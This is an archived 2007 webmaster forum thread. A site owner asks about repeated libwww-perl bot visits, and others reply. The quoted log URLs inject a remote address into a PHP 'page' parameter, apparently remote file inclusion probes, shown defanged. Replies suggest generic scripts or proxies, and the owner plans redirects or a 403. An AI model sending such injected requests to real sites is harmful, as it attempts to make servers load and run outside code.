Welcome to WebmasterWorld Guest from 54.205.170.21

Forum Moderators: DixonJones & mademetop

Message Too Old, No Replies

Frequent visits from user agent libwww-perl/5.805

What's this?

   
4:59 pm on Nov 18, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Two pages on one of my websites have begun to receive frequent visits from bots with different host names but the user agent is always like:

libwww-perl/5.805
libwww-perl/5.64
libwww-perl/5.63

The requested URLs are typically:

ht*p://www.mysite.com/examplepage/index.php?page=ht*p://www.somesite.com/home/images/can?
ht*p://www.mysite.com//index.php?page=ht*p://somesite.nl/id.txt?

(my asterisks)

I've now redirected all such requests to remove index.php and the query string, but I'd be interested to know what's going on with these visits. Is it some sort of mischief?

It seems like a tracking system (or something).

2:04 pm on Nov 19, 2007 (gmt 0)

WebmasterWorld Administrator phranque is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month



LWP is a well-known perl library (and perl module and and lwp-request which is a simple command line user agent).
it could be just about anything - a homemade bot or custom browser, somebody running a script - it's a very generic tool.
11:00 pm on Nov 19, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Okay, but why would someone want to run a bot requesting those URLs from different hosts?

[edited by: Patrick_Taylor at 11:02 pm (utc) on Nov. 19, 2007]

1:43 am on Nov 20, 2007 (gmt 0)

10+ Year Member



It could be a proxy server, which may or may not be malicious, but some are known to zap your pages in the SERPs if they aren't handled correctly - IIRC they can be considered duplicate content by Google and end up getting the better ranking. There was a whole thread here concerning this problem, if this is the case for you its worth a read.
1:44 am on Nov 20, 2007 (gmt 0)

WebmasterWorld Administrator phranque is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month



does that look at all like a url you might serve?
11:29 am on Nov 20, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



There's this thread -> [webmasterworld.com...]

Quite helpful. I suppose the safest thing is to serve a 403 to a bot that requests an URL like:

ht*p://www.mysite.com//index.php?page=ht*p://somesite.nl/id.txt?

And they're doing it dozens of times a day.

[edited by: Patrick_Taylor at 11:31 am (utc) on Nov. 20, 2007]

 

Featured Threads

Hot Threads This Week

Hot Threads This Month